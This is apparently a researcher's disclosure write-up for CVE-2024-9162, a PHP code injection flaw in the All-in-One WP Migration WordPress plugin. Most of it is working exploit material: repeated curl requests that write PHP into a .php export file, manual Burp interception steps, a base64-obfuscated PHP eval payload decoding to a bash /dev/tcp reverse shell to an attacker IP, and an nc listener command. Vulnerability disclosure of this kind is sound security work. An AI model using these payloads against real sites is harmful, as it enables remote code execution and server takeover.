All-in-One WP Migration and Backup <= 7.86 - Authenticated (Administrator+) Arbitrary PHP Code Injection
Around the time Def Con was happening this year I was sitting at home feeling left out. That made me feel hacky, but I don’t get the same joy from CTFs at the moment that I used to. So, I decided to start hunting for CVEs. That lead to finding CVE-2024-9162, which was just released today, along with the idea for a larger project that has resulted in a few more vulnerabilities yet to be disclosed.
CVE-2024-9162
The All-in-One WP Migration plugin for WordPress is vulnerable to arbitrary PHP Code Injection due to missing file type validation during the export in all versions up to, and including, 7.86. This makes it possible for authenticated attackers, with Administrator-level access and above, to create an export file with the .php extension on the affected site’s server, adding an arbitrary PHP code to it, which may make remote code execution possible.
TL;DR Exploits
Details
The ai1wm_secret_key
is a 12 character alphanumeric string created when the plugin is initialized. The key is never rotated, does not expire, and is stored plain text in the wp_options
table.
mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)
Basic Proof of Concept:
This will create a php file containing a call to phpinfo();
, which can be replaced with a better payload as seen in the manual reproduction section. Notice there is no authorization required beyond the secret key parameter.
VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo
PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
--data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
$"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"
Manually To Reproduce:
It should be noted that the php
file created via these steps will first appear in wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php
before being deleted by the script and moved to wp-content/ai1wm-backups/reverse_shell.php
.
-
Log in, Click all in one WP migration export to access the “Export Site” page.
-
In the Find * Replace with
<another-text>
in the database. -
Input
*
into the Find box. -
Input your crafted php payload into into the Replae With box (
phpinfo();
, web shell, etc).- Reverse Shell Example:
<?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>
- This will decode to
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' ");
-
Setup Burp or similar tool and begin to proxy the traffic, then click the green “Export To -> File” option.
-
Forward the first request:
POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1
, without manipulation. -
Forward:
GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2
. -
Intercepting the request to
POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2
- Modify the
archive
parameter to whatever name you like, and the.php
extension, and then forward the request. -
POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/2 Host: wordpress.hacker Cookie: wordpress_sec_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7Cc65dd152f0c184235df35d5dfa28c50624b9f9a2fb01efb5077b150df76d286f; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_1e8abd3ff1d2f462f071b6ee87f18dce=admin%7C1723667674%7Czq81SUmQ7zq0jft2M2D19aFUOZDjhqND0rKqJp0XIrb%7C5c992aef75e3896a0909b9d480ae9e6505d89428c6975a490c30ce5b791c6bfe; wp-settings-time-1=1723500701 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://wordpress.hacker/wp-admin/admin.php?page=ai1wm_export Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 883 Origin: https://wordpress.hacker Dnt: 1 Sec-Gpc: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+eval(+base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs%3D'))%3B+%3F%3E&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=1j5v4ss1ls45&file=1&secret_key=OYXj1AIdQUnc&priority=10&archive=reverse_shell.php
- Turn off interception and let all other requests flow through until the job is completed and a download button is presented on the screen.
- Notice that the link to the downoad is a link to a php file containing the payload
https://wordpress.hacker/wp-content/ai1wm-backups/reverse_shell.php
. - Fire up a netcat listener on an attacking machine to catch the reverse shell
nc -lnvp 4444
. - Click the download button and catch the reverse shell.
- Modify the